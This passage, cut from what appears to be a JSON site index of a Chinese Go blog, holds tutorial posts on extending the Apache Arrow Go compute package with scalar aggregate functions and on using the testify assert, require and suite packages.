src=\"/images/wp-content/uploads/a-guide-of-using-apache-arrow-for-gopher-part6-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6\"\u003ehttps://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eApache Arrow是一种开放的、与语言无关的列式内存格式，在\u003ca href=\"https://tonybai.com/tag/arrow\"\u003e本系列文章\u003c/a\u003e的前几篇中，我们都聚焦于\u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003e内存表示\u003c/a\u003e与\u003ca href=\"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4/\"\u003e内存操作\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e但对于一个数据库系统或大数据分析平台来说，数据不能也无法一直放在内存中，虽说目前内存很大也足够便宜了，但其易失性也决定了我们在特定时刻还是要将数据序列化后存储到磁盘或一些低成本的存储服务上(比如AWS的S3等)。\u003c/p\u003e","title":"Go语言开发者的Apache Arrow使用指南：读写Parquet文件"},{"content":"\n本文永久链接 – https://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5\n在本系列文章的第4篇《Go语言开发者的Apache Arrow使用指南：数据操作》中我们遇到了大麻烦：Go的Arrow实现居然不支持像max、min、sum这样的简单聚合计算函数:(，分组聚合(grouped aggregation)就更是“遥不可期”。要想对从CSV读取的数据进行聚合操作和分析，我们只能“自己动手，丰衣足食” – 扩展Arrow Go实现中的compute包了。\n不过，Arrow的Go实现还是蛮复杂的，如果对其结构没有一个初步的认知，很难实现这类扩展。在这篇文章中，我们就来了解一下compute包的结构，并尝试为compute包添加几个简单的、仅能处理单一类型的聚合函数，先来完成一些从0到1的工作。\n为了深入了解Go Arrow实现，我又翻阅了一下Arrow官方的文档，显然Arrow C++的文档是最丰富的。我快读了一下C++的Arrow文档，对Arrow的结构有了更深刻的认知，基于这些资料，我们先来做一下Arrow结构的回顾。\n0. 回顾Arrow的各个layer Arrow的C++文档使用layer来介绍各种Arrow的概念，我们挑几个重要的看一下：\n物理层(The physical layer) 物理层针对的是内存的分配管理，包括内存分配的方法(堆分配器、内存文件映射、静态内存区)等。这一层的一个最重要的概念就是我们之前在数据类型一文中提到的Buffer抽象，它代表了内存中的一块连续的数据存储区域。\n一维表示层(The one-dimensional layer) 除了物理层，后续的层都是逻辑层。一维表示层是一个逻辑表示层，它定义了Arrow的最基本数据类型：array。数据类型决定了物理层内存数据的解释方法，逻辑数据类型array在物理层投影为一个和多个内存buffer。\n我们在“高级数据结构”提到的chunked array也在这一层，chunked array由多个同构类型的array组成，Arrow将其理解为一个同构的(相同类型的)、逻辑上值连续的、更大的array，是array基础类型的一个更泛化的表示。\n二维表示层(The two-dimensional layer) “高级数据结构”一文中除chunked array之外的概念，都在这一层，包括schema、table、record batch。\nschema是用于描述一维数据(一列数据，即一个逻辑array)的元数据，包括列名、类型与其他元信息。\nTable是schema+与schema元信息对应的多个chunked array，它是Arrow中数据集抽象能力最强的逻辑结构。\nRecord Batch则是schema+与schema元信息对应的多个array。还记得“高级数据结构”一文中的那副直观给出table与record batch差异的图么：\n计算层(The compute layer) 计算层一个重要的抽象是Datum，这是一个灵活的抽象，用于统一表示参与计算的各类输入参数和返回值。\n计算层真正执行计算的函数被统一放在kernel这个“层次”中，这个层次的函数对Datum类型的输入参数进行计算并返回Datam类型的结果或以Datum类型的输出参数承载计算结果。\nIPC层(The Inter-Process Communication (IPC) layer) 这是我们尚未接触过的一层，通过这一层，复合Arrow columnar format的数据可以在进程间(同一主机或不同主机)交互，并且这种交换可以保证尽可能少的内存copy。\n文件格式层(The file formats layer) 这一层负责读写文件，在之前的“数据操作”一篇中，我们接触过将CSV文件中的数据读到内存中并组织为Arrow列式存储格式，在后续篇章中，我们还将陆续介绍Arrow与CSV(写入)、Parquet文件的数据交互。\nC++有关Arrow的介绍中还有设备层(the devices layer)、文件系统层(the file system layer)等，后续可能不会涉及，这里就不说了。\n通过上述回顾，再对照本系列第一篇文章“数据类型”的内容，你对Arrow的理解是不是更深刻一点点了呢:)。\n接下来，我们重点看看计算层(the compute layer)。\n1. 计算层(the compute layer)的结构 Go语言的计算层在compute目录下。Go语言借鉴了C++计算层的设计，将计算层分为compute和kernel，这个从代码布局上也可以明显看出来：\n$tree -F -L 2 compute|grep -v go compute --- compute层 ├── exprs/ ├── internal/ │ ├── exec/ │ └── kernels/ --- compute的kernel层 compute包采用了registry模式，初始化时将底层的kernel function包装成上层的Function并注册到registry中。用户调用某个function时，该function会在registry中查找对应的注册函数并调用。\n下面我们通过Uniq这个array-wise函数作为例子来探索一下kernel function的注册与调用过程。下面是“数据操作”一文中的示例，这里再次借用一下：\n// arrow/manipulation/unary_arraywise_function.go func main() { data := []int32{5, 10, 0, 25, 2, 10, 2, 25} bldr := array.NewInt32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues(data, nil) arr := bldr.NewArray() defer arr.Release() dat, err := compute.Unique(context.Background(), compute.NewDatum(arr)) if err != nil { fmt.Println(err) return } arr1, ok := dat.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } fmt.Println(arr1.MakeArray()) // [5 10 0 25 2] } 下面是Unique函数的注册和调用过程示意图：\n很显然，整个过程包括两个明显的阶段：\n包装并向Registry注册kernel函数(AddFunction) 在Registry中查找函数并调用(GetFunction) 当我们在用户层调用compute.Unique函数时，一个统一的CallFunction会被调用，其第二个参数”uniq”表明我们要调用registry中的名为”uniq”的包装函数。在这个过程中GetFunctionRegistry被调用以获取registry实例，在这个过程中，如果registry实例尚没有创建，GetFunctionRegistry会在sync.Once的保护下创建registry并进行初始注册工作(RegisterXXX)。”uniq”对应的包装函数是在RegisterVectorHash中被注册到registry中的。\nRegisterVectorHash会通过kernel层提供的GetVectorHashKernels获取kernel层的”uniq”实现，并将其通过NewVectorFunction和AddKernel包装为uniqFn这一用户层的Function，该uniqFn Function最终会被AddFunction加入到registry中。\n而CallFunction(ctx, “uniq”)也会从registry中将uniqFn查找出来并执行其Execute方法，该Execute方法实际上执行的是kernel层的”uniq”实现。\n我们看到：通过示意图展示的Unique函数的注册与调用过程还是相对清晰的(但如果要阅读对应的代码，还是比较繁琐的)。\n到这里我们也大致了解了compute包的结构以及与kernel层的关系，接下来我们就来尝试给compute包添加一些scalar aggregate函数，所谓scalar aggregate函数就是输入是array，输出是一个scalar值的函数，比如：max、min、sum等。\n3. 添加Max、Min、Sum、Avg等Scalar Aggregate函数 在上一篇“数据操作”时提过，聚合函数分为Scalar聚合和grouped聚合，显然Scalar聚合函数要简单一些，这里我们就来向compute层添加scalar aggregate函数，以Max为例，我们希望用户层这样使用Max聚合函数：\n// max_aggregate_function.go func main() { data := []int64{5, 10, 0, 25, 2, 35, 7, 15} bldr := array.NewInt64Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues(data, nil) arr := bldr.NewArray() defer arr.Release() dat, err := compute.Max(context.Background(), compute.NewDatum(arr)) if err != nil { fmt.Println(err) return } ad, ok := dat.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } arr1 := ad.MakeArray() fmt.Println(arr1) // [35] } 注：这里有一个问题，那就是Max返回的Datum是一个ArrayDatum，而不是期望的ScalarDatum。\n通过上面的compute layer的结构，我们知道，如果要添加Max、Min、Sum、Avg等Scalar Aggregate函数，我们需要在kernel层和compute层协作实现。下面是实现的具体步骤。\n3.1 向kernel层添加scalar聚合函数实现 compute层要支持scalar聚合，需要kernel层线支持scalar聚合，这里我们先向compute/internal/kernels目录添加一个scalar_agg.go，用于在kernel层实现scalar聚合，以Max为例：\n// compute/internal/kernels/scalar_agg.go package kernels import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/compute/internal/exec\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/scalar\u0026quot; ) func ScalarAggKernels(op ScalarAggOperator) (aggs []exec.ScalarKernel) { switch op { case AggMax: maxAggs := maxAggKernels() aggs = append(aggs, maxAggs...) case AggMin: minAggs := minAggKernels() aggs = append(aggs, minAggs...) case AggAvg: avgAggs := avgAggKernels() aggs = append(aggs, avgAggs...) case AggSum: sumAggs := sumAggKernels() aggs = append(aggs, sumAggs...) } return } func aggMax(ctx *exec.KernelCtx, batch *exec.ExecSpan, out *exec.ExecResult) error { var max int64 for _, v := range batch.Values { if !v.IsArray() { return fmt.Errorf(\u0026quot;%w: input datum is not array\u0026quot;, arrow.ErrInvalid) } if v.Array.Type != arrow.PrimitiveTypes.Int64 { return fmt.Errorf(\u0026quot;%w: array type is not int64\u0026quot;, arrow.ErrInvalid) } // for int64 array: // first buffer is meta buffer // second buffer is what we want int64s := exec.GetSpanValues[int64](\u0026amp;v.Array, 1) for _, v64 := range int64s { if v64 \u0026gt; max { max = v64 } } } out.FillFromScalar(scalar.NewInt64Scalar(max)) return nil } func maxAggKernels() (aggs []exec.ScalarKernel) { outType := exec.NewOutputType(arrow.PrimitiveTypes.Int64) in := exec.NewExactInput(arrow.PrimitiveTypes.Int64) aggs = append(aggs, exec.NewScalarKernel([]exec.InputType{in}, outType, aggMax, nil)) return } ... ... 上面的ScalarAggKernels函数就像上图中的GetVectorHashKernels一样，为compute层提供kernel层scalar agg函数的获取“渠道”。aggMax函数是实现聚合逻辑的那个函数，它针对输入的array进行操作，计算array中所有元素中的最大值，并将这个值包装成Datum作为out参数输出。\n在compute/internal/kernels/types.go中，我们定义了如下枚举常量，用于compute层传入要选择的scalar聚合函数。\n// compute/internal/kernels/types.go //go:generate stringer -type=ScalarAggOperator -linecomment type ScalarAggOperator int8 const ( AggMax ScalarAggOperator = iota // max AggMin // min AggAvg // avg AggSum // sum ) 3.2 在compute层提供对kernel层聚合函数的包装 在compute层，我们也提供一个scalar_agg.go文件，用于对kernel层的聚合函数进行包装：\n// compute/scalar_agg.go package compute import ( \u0026quot;context\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/compute/internal/kernels\u0026quot; ) type aggFunction struct { ScalarFunction } func Max(ctx context.Context, values Datum) (Datum, error) { return CallFunction(ctx, \u0026quot;max\u0026quot;, nil, values) } func Min(ctx context.Context, values Datum) (Datum, error) { return CallFunction(ctx, \u0026quot;min\u0026quot;, nil, values) } func Avg(ctx context.Context, values Datum) (Datum, error) { return CallFunction(ctx, \u0026quot;avg\u0026quot;, nil, values) } func Sum(ctx context.Context, values Datum) (Datum, error) { return CallFunction(ctx, \u0026quot;sum\u0026quot;, nil, values) } func RegisterScalarAggs(reg FunctionRegistry) { maxFn := \u0026amp;aggFunction{*NewScalarFunction(\u0026quot;max\u0026quot;, Unary(), EmptyFuncDoc)} for _, k := range kernels.ScalarAggKernels(kernels.AggMax) { if err := maxFn.AddKernel(k); err != nil { panic(err) } } reg.AddFunction(maxFn, false) minFn := \u0026amp;aggFunction{*NewScalarFunction(\u0026quot;min\u0026quot;, Unary(), EmptyFuncDoc)} for _, k := range kernels.ScalarAggKernels(kernels.AggMin) { if err := minFn.AddKernel(k); err != nil { panic(err) } } reg.AddFunction(minFn, false) avgFn := \u0026amp;aggFunction{*NewScalarFunction(\u0026quot;avg\u0026quot;, Unary(), EmptyFuncDoc)} for _, k := range kernels.ScalarAggKernels(kernels.AggAvg) { if err := avgFn.AddKernel(k); err != nil { panic(err) } } reg.AddFunction(avgFn, false) sumFn := \u0026amp;aggFunction{*NewScalarFunction(\u0026quot;sum\u0026quot;, Unary(), EmptyFuncDoc)} for _, k := range kernels.ScalarAggKernels(kernels.AggSum) { if err := sumFn.AddKernel(k); err != nil { panic(err) } } reg.AddFunction(sumFn, false) } 我们看到在这个源文件中，我们提供了供最终用户调用的Max等函数，这些函数是对kernel层scalar聚合函数的包装，通过CallFunction在registry中找到注册的kernel函数并执行它。\nRegisterScalarAggs是用于向registry注册scalar聚合函数的函数。\n3.3 在compute层将包装后的聚合函数注册到Registry中 我们修改一下compute/registry.go，在GetFunctionRegistry函数中增加对RegisterScalarAggs的调用，以实现对scalar聚合函数的注册：\n// compute/registry.go func GetFunctionRegistry() FunctionRegistry { once.Do(func() { registry = NewRegistry() RegisterScalarCast(registry) RegisterVectorSelection(registry) RegisterScalarBoolean(registry) RegisterScalarArithmetic(registry) RegisterScalarComparisons(registry) RegisterVectorHash(registry) RegisterVectorRunEndFuncs(registry) RegisterScalarAggs(registry) }) return registry } 3.4 运行示例 最初运行arrow/compute-extension/max_aggregate_function.go示例的结果并非我们预期，而是一个全0的数组：\n$go run max_aggregate_function.go [0 0 0 0 0 0 0 0] 经过print调试大法后，我发现compute/executor.go中的executeSpans的实现似乎有一个问题，我在arrow项目提了一个issue，并对executor.go做了如下修改：\ndiff --git a/go/arrow/compute/executor.go b/go/arrow/compute/executor.go index d3f1a1fd4..e9bda7137 100644 --- a/go/arrow/compute/executor.go +++ b/go/arrow/compute/executor.go @@ -604,7 +604,7 @@ func (s *scalarExecutor) executeSpans(data chan\u0026lt;- Datum) (err error) { return } - return s.emitResult(prealloc, data) + return s.emitResult(\u0026amp;output, data) } // fully preallocating, but not contiguously (END) 修改后，再运行arrow/compute-extension/max_aggregate_function.go示例就得到了正确的结果：\n$go run max_aggregate_function.go [35] 3.5 To Be Done 到这里，我们从0到1的为arrow go实现的compute层添加了int64类型的scalar聚合函数的支持(以max为例)，但这仅仅是验证了思路的可行性，上述对compute的修改可能是不合理的。此外，上述的改动不是production ready的，存在一些问题，比如：\nMax返回的是array datam，而不是我们想要的scalar Datam； 仅支持int64，不支持其他类型的max聚合，比如float64、string等； 性能没有优化； 对chunked array类型的scalar datam尚未给出验证示例。 … … 4. 小结 在本文中我们基于C++的资料，回顾了Arrow的一些基础抽象概念，从而对Arrow有了更为深刻的认知。之后，也是我们的重点，就是给出了compute层的结构以及基于该结构为compute层增加scalar聚合函数的一种思路和示例代码。\n不过这种思路只是为了理解arrow的一种试验性方法，存在其不合理的地方，随着arrow演进，这种方法也许将不适用。同时，后续arrow官方可能会为go增加aggregate function的支持，那时请大家以官方实现为准。\nC++版本Arrow实现完全支持各种聚合函数，考虑到Go arrow的实现参考了C++版本的思路，如果要为go arrow正式增加聚合函数支持，阅读c++源码并考虑迁移到Go才是正道。\n本文示例代码可以在这里下载，同时增加了scalar function的arrow的fork版本可以在我的github项目arrow-extend-compute1下找到。\n5. 参考资料 计算层 – https://arrow.apache.org/docs/cpp/compute.html 计算层教程 – https://arrow.apache.org/docs/cpp/tutorials/compute_tutorial.html Arrow C++参考 – https://arrow.apache.org/docs/cpp/overview.html Go unique kernel函数PR – https://github.com/apache/arrow/pull/34172 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-guide-of-using-apache-arrow-for-gopher-part5-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5\"\u003ehttps://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在本系列文章的第4篇\u003ca href=\"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4/\"\u003e《Go语言开发者的Apache Arrow使用指南：数据操作》\u003c/a\u003e中我们遇到了\u003cstrong\u003e大麻烦\u003c/strong\u003e：Go的Arrow实现居然不支持像max、min、sum这样的简单聚合计算函数:(，分组聚合(grouped aggregation)就更是“遥不可期”。要想对\u003ca href=\"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4/\"\u003e从CSV读取的数据\u003c/a\u003e进行聚合操作和分析，我们只能“自己动手，丰衣足食” – \u003cstrong\u003e扩展Arrow Go实现中的compute包了\u003c/strong\u003e。\u003c/p\u003e","title":"Go语言开发者的Apache Arrow使用指南：扩展compute包"},{"content":"\n本文永久链接 – https://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package\n我虽然算不上Go标准库的“清教徒”，但在测试方面还多是基于标准库testing包以及go test框架的，除了需要mock的时候，基本上没有用过第三方的Go测试框架。我在《Go语言精进之路》一书中对Go测试组织的讲解也是基于Go testing包和go test框架的。\n最近看Apache arrow代码，发现arrow的Go实现使用了testify项目组织和辅助测试：\n// compute/vector_hash_test.go func TestHashKernels(t *testing.T) { suite.Run(t, \u0026amp;PrimitiveHashKernelSuite[int8]{}) suite.Run(t, \u0026amp;PrimitiveHashKernelSuite[uint8]{}) suite.Run(t, \u0026amp;PrimitiveHashKernelSuite[int16]{}) suite.Run(t, \u0026amp;PrimitiveHashKernelSuite[uint16]{}) ... ... } type PrimitiveHashKernelSuite[T exec.IntTypes | exec.UintTypes | constraints.Float] struct { suite.Suite mem *memory.CheckedAllocator dt arrow.DataType } func (ps *PrimitiveHashKernelSuite[T]) SetupSuite() { ps.dt = exec.GetDataType[T]() } func (ps *PrimitiveHashKernelSuite[T]) SetupTest() { ps.mem = memory.NewCheckedAllocator(memory.DefaultAllocator) } func (ps *PrimitiveHashKernelSuite[T]) TearDownTest() { ps.mem.AssertSize(ps.T(), 0) } func (ps *PrimitiveHashKernelSuite[T]) TestUnique() { ... ... } 同期，我在grank.io上看到testify这个项目综合排名第一：\n这说明testify项目在Go社区有着广泛的受众，testify为何能从众多go test第三方框架中脱颖而出？它有哪些与众不同的地方？如何更好地利用testify来辅助我们的Go测试？带着这些问题，我写下了这篇有关testify的文章，供大家参考。\n1. testify简介 testify是一个用于Go语言的测试框架，与go testing包可以很好的融合在一起，并由go test驱动运行。testify提供的功能特性可以辅助Go开发人员更好地组织和更高效地编写测试用例，以保证软件的质量和可靠性。\ntestify能够得到社区的广泛接纳，与testify项目中包的简洁与独立的设计是密不可分的。下面是testify包的目录结构(去掉了用于生成代码的codegen和已经deprecated的http目录后)：\n$tree -F -L 1 testify |grep \u0026quot;/\u0026quot; |grep -v codegen|grep -v http ├── assert/ ├── mock/ ├── require/ └── suite/ 关于Go项目代码布局设计的系统讲解，可以参见我的《Go语言第一课》专栏的第5讲。\n包目录名直接反映了testify可以提供给Go开发者的功能特性：\nassert和require：断言工具包，辅助做测试结果判定； mock：辅助编写mock test的工具包； suite：提供了suite这一层的测试组织结构。 下面我们就由浅入深的介绍testify的这几个重要的、可各自独立使用的包。我们先从使用门槛最低的assert包和require包开始，它们是一类的，这里放在一个章节中介绍。\n2. assert和require包 我们在使用go testing包编写Go单元测试用例时，通常会用下面代码来判断目标函数执行结果是否符合预期：\nfunc TestFoo(t *testing.T) { v := Foo(5, 6) // Foo为被测目标函数 if v != expected { t.Errorf(\u0026quot;want %d, actual %d\\n\u0026quot;, expected, v) } } 这样，如果测试用例要判断的结果很多，那么测试代码中就会存在很多if xx != yy以及Errorf/Fatalf之类的代码。有过一些其他语言编程经验的童鞋此时此刻肯定会说：是时候上assert了! 不过很遗憾，Go标准库包括其实验库(exp)都没有提供带有assert断言机制的包。\n注：Go标准库testing/quick包中提供的Check和CheckEqual并非assert，它们用于测试两个函数参数在相同输入的情况下是否有相同的输出。如果不同，则输出导致输出不同的输入。此外，该quick包已经frozen，不再接受新Feature。\ntestify为Go开发人员提供了assert包，为Go开发人员很大程度“解了近渴”。\nassert包使用起来非常简单，下面是assert使用的常见场景示例：\n// assert/assert_test.go func Add(a, b int) int { return a + b } func TestAssert(t *testing.T) { // Equal断言 assert.Equal(t, 4, Add(1, 3), \u0026quot;The result should be 4\u0026quot;) sl1 := []int{1, 2, 3} sl2 := []int{1, 2, 3} sl3 := []int{2, 3, 4} assert.Equal(t, sl1, sl2, \u0026quot;sl1 should equal to sl2 \u0026quot;) p1 := \u0026amp;sl1 p2 := \u0026amp;sl2 assert.Equal(t, p1, p2, \u0026quot;the content which p1 point to should equal to which p2 point to\u0026quot;) err := errors.New(\u0026quot;demo error\u0026quot;) assert.EqualError(t, err, \u0026quot;demo error\u0026quot;) // assert.Exactly(t, int32(123), int64(123)) // failed! both type and value must be same // 布尔断言 assert.True(t, 1+1 == 2, \u0026quot;1+1 == 2 should be true\u0026quot;) assert.Contains(t, \u0026quot;Hello World\u0026quot;, \u0026quot;World\u0026quot;) assert.Contains(t, []string{\u0026quot;Hello\u0026quot;, \u0026quot;World\u0026quot;}, \u0026quot;World\u0026quot;) assert.Contains(t, map[string]string{\u0026quot;Hello\u0026quot;: \u0026quot;World\u0026quot;}, \u0026quot;Hello\u0026quot;) assert.ElementsMatch(t, []int{1, 3, 2, 3}, []int{1, 3, 3, 2}) // 反向断言 assert.NotEqual(t, 4, Add(2, 3), \u0026quot;The result should not be 4\u0026quot;) assert.NotEqual(t, sl1, sl3, \u0026quot;sl1 should not equal to sl3 \u0026quot;) assert.False(t, 1+1 == 3, \u0026quot;1+1 == 3 should be false\u0026quot;) assert.Never(t, func() bool { return false }, time.Second, 10*time.Millisecond) //1秒之内condition参数都不为true，每10毫秒检查一次 assert.NotContains(t, \u0026quot;Hello World\u0026quot;, \u0026quot;Go\u0026quot;) } 我们看到assert包提供了Equal类、布尔类、反向类断言，assert包提供的断言函数有几十种，这里无法一一枚举，选择最适合你的测试场景的断言就好。\n另外要注意的是，在Equal对切片作比较时，比较的是切片底层数组存储的内容是否相等；对指针作比较时，比较的是指针指向的内存块儿的数据是否相等，而不是指针本身的值是否相等。\n注：assert.Equal底层实现使用的是reflect.DeepEqual。\n我们看到assert包提供的断言函数第一个参数是testing.T的实例，如果一个测试用例里多次使用assert包的断言函数，我们每次都要传入testing.T的实例，比如下面示例：\n// assert/assert_test.go func TestAdd1(t *testing.T) { result := Add(1, 3) assert.Equal(t, 4, result, \u0026quot;The result should be 4\u0026quot;) result = Add(2, 2) assert.Equal(t, 4, result, \u0026quot;The result should be 4\u0026quot;) result = Add(2, 3) assert.Equal(t, 5, result, \u0026quot;The result should be 5\u0026quot;) result = Add(0, 3) assert.Equal(t, 3, result, \u0026quot;The result should be 3\u0026quot;) result = Add(-1, 1) assert.Equal(t, 0, result, \u0026quot;The result should be 0\u0026quot;) } 这很verbose! assert包提供了替代方法，如下面示例：\n// assert/assert_test.go func TestAdd2(t *testing.T) { assert := assert.New(t) result := Add(1, 3) assert.Equal(4, result, \u0026quot;The result should be 4\u0026quot;) result = Add(2, 2) assert.Equal(4, result, \u0026quot;The result should be 4\u0026quot;) result = Add(2, 3) assert.Equal(5, result, \u0026quot;The result should be 5\u0026quot;) result = Add(0, 3) assert.Equal(3, result, \u0026quot;The result should be 3\u0026quot;) result = Add(-1, 1) assert.Equal(0, result, \u0026quot;The result should be 0\u0026quot;) } 注：我们当然可以使用表驱动测试的方法将上述示例做进一步优化。\nrequire包可以理解为assert包的“姊妹包”，require包实现了assert包提供的所有导出的断言函数，因此我们将上述示例中的assert改为require后，代码可以正常编译和运行(见require/require_test.go)。\n那么require包与assert包有什么不同呢？我们来简单看一下。\n使用assert包的断言时，如果某一个断言失败，该失败不会影响到后续测试代码的执行，或者说后续测试代码会继续执行，比如我们故意将TestAssert中的一些断言条件改为失败：\n// assert/assert_test.go assert.True(t, 1+1 == 3, \u0026quot;1+1 == 2 should be true\u0026quot;) assert.Contains(t, \u0026quot;Hello World\u0026quot;, \u0026quot;World1\u0026quot;) 再运行assert_test.go中的测试，我们会看到下面结果：\n$go test --- FAIL: TestAssert (1.00s) assert_test.go:34: Error Trace: Error: Should be true Test: TestAssert Messages: 1+1 == 2 should be true assert_test.go:35: Error Trace: Error: \u0026quot;Hello World\u0026quot; does not contain \u0026quot;World1\u0026quot; Test: TestAssert FAIL exit status 1 FAIL demo 1.016s 我们看到：两个失败的测试断言都输出了！\n我们再换到require/require_test.go下做同样的修改，并执行go test，我们得到如下结果：\n$go test require_test.go --- FAIL: TestRequire (0.00s) require_test.go:34: Error Trace: Error: Should be true Test: TestRequire Messages: 1+1 == 2 should be true FAIL FAIL command-line-arguments 0.012s FAIL 我们看到当执行完第一条失败的断言后，测试便结束了！\n这就是assert包和require包的区别！这有些类似于Errorf和Fatalf的区别！require包中断言函数一旦执行失败便会导致测试退出，后续的测试代码将无法继续执行。\n另外require包还有一个“特点”，那就是它的主体代码(require.go和require_forward.go)都是自动生成的：\n// github.com/stretchr/testify/require/reqire.go /* CODE GENERATED AUTOMATICALLY WITH github.com/stretchr/testify/_codegen * THIS FILE MUST NOT BE EDITED BY HAND */ testify的代码生成采用了基于模板的方法，具体的自动生成原理可以参考[《A case for Go code generation: testify》] (https://levelup.gitconnected.com/a-case-for-go-code-generation-testify-73a4b0d46cb1)这篇文章。\n3. suite包 Go testing包没有引入testsuite(测试套件)或testcase(测试用例)的概念，只有Test和SubTest。对于熟悉xUnit那套测试组织方式的开发者来说，这种缺失很“别扭”！要么自己基于testing包来构建这种结构，要么使用第三方包的实现。\n该图来自网络\ntestify的suite包为我们提供了一种基于suite/case结构组织测试代码的方式。下面是一个可以对testify suite定义的suite结构进行全面解析的示例(改编自testify suite包文档中的ExampleTestSuite示例)：\n// suite/suite_test.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;github.com/stretchr/testify/suite\u0026quot; ) type ExampleSuite struct { suite.Suite indent int } func (suite *ExampleSuite) indents() (result string) { for i := 0; i \u0026lt; suite.indent; i++ { result += \u0026quot;----\u0026quot; } return } func (suite *ExampleSuite) SetupSuite() { fmt.Println(\u0026quot;Suite setup\u0026quot;) } func (suite *ExampleSuite) TearDownSuite() { fmt.Println(\u0026quot;Suite teardown\u0026quot;) } func (suite *ExampleSuite) SetupTest() { suite.indent++ fmt.Println(suite.indents(), \u0026quot;Test setup\u0026quot;) } func (suite *ExampleSuite) TearDownTest() { fmt.Println(suite.indents(), \u0026quot;Test teardown\u0026quot;) suite.indent-- } func (suite *ExampleSuite) BeforeTest(suiteName, testName string) { suite.indent++ fmt.Printf(\u0026quot;%sBefore %s.%s\\n\u0026quot;, suite.indents(), suiteName, testName) } func (suite *ExampleSuite) AfterTest(suiteName, testName string) { fmt.Printf(\u0026quot;%sAfter %s.%s\\n\u0026quot;, suite.indents(), suiteName, testName) suite.indent-- } func (suite *ExampleSuite) SetupSubTest() { suite.indent++ fmt.Println(suite.indents(), \u0026quot;SubTest setup\u0026quot;) } func (suite *ExampleSuite) TearDownSubTest() { fmt.Println(suite.indents(), \u0026quot;SubTest teardown\u0026quot;) suite.indent-- } func (suite *ExampleSuite) TestCase1() { suite.indent++ defer func() { fmt.Println(suite.indents(), \u0026quot;End TestCase1\u0026quot;) suite.indent-- }() fmt.Println(suite.indents(), \u0026quot;Begin TestCase1\u0026quot;) suite.Run(\u0026quot;case1-subtest1\u0026quot;, func() { suite.indent++ fmt.Println(suite.indents(), \u0026quot;Begin TestCase1.Subtest1\u0026quot;) fmt.Println(suite.indents(), \u0026quot;End TestCase1.Subtest1\u0026quot;) suite.indent-- }) suite.Run(\u0026quot;case1-subtest2\u0026quot;, func() { suite.indent++ fmt.Println(suite.indents(), \u0026quot;Begin TestCase1.Subtest2\u0026quot;) fmt.Println(suite.indents(), \u0026quot;End TestCase1.Subtest2\u0026quot;) suite.indent-- }) } func (suite *ExampleSuite) TestCase2() { suite.indent++ defer func() { fmt.Println(suite.indents(), \u0026quot;End TestCase2\u0026quot;) suite.indent-- }() fmt.Println(suite.indents(), \u0026quot;Begin TestCase2\u0026quot;) suite.Run(\u0026quot;case2-subtest1\u0026quot;, func() { suite.indent++ fmt.Println(suite.indents(), \u0026quot;Begin TestCase2.Subtest1\u0026quot;) fmt.Println(suite.indents(), \u0026quot;End TestCase2.Subtest1\u0026quot;) suite.indent-- }) } func TestExampleSuite(t *testing.T) { suite.Run(t, new(ExampleSuite)) } 要知道testify.suite包定义的测试结构是什么样的，我们运行一下上述代码即可：\n$go test Suite setup ---- Test setup --------Before ExampleSuite.TestCase1 ------------ Begin TestCase1 ---------------- SubTest setup -------------------- Begin TestCase1.Subtest1 -------------------- End TestCase1.Subtest1 ---------------- SubTest teardown ---------------- SubTest setup -------------------- Begin TestCase1.Subtest2 -------------------- End TestCase1.Subtest2 ---------------- SubTest teardown ------------ End TestCase1 --------After ExampleSuite.TestCase1 ---- Test teardown ---- Test setup --------Before ExampleSuite.TestCase2 ------------ 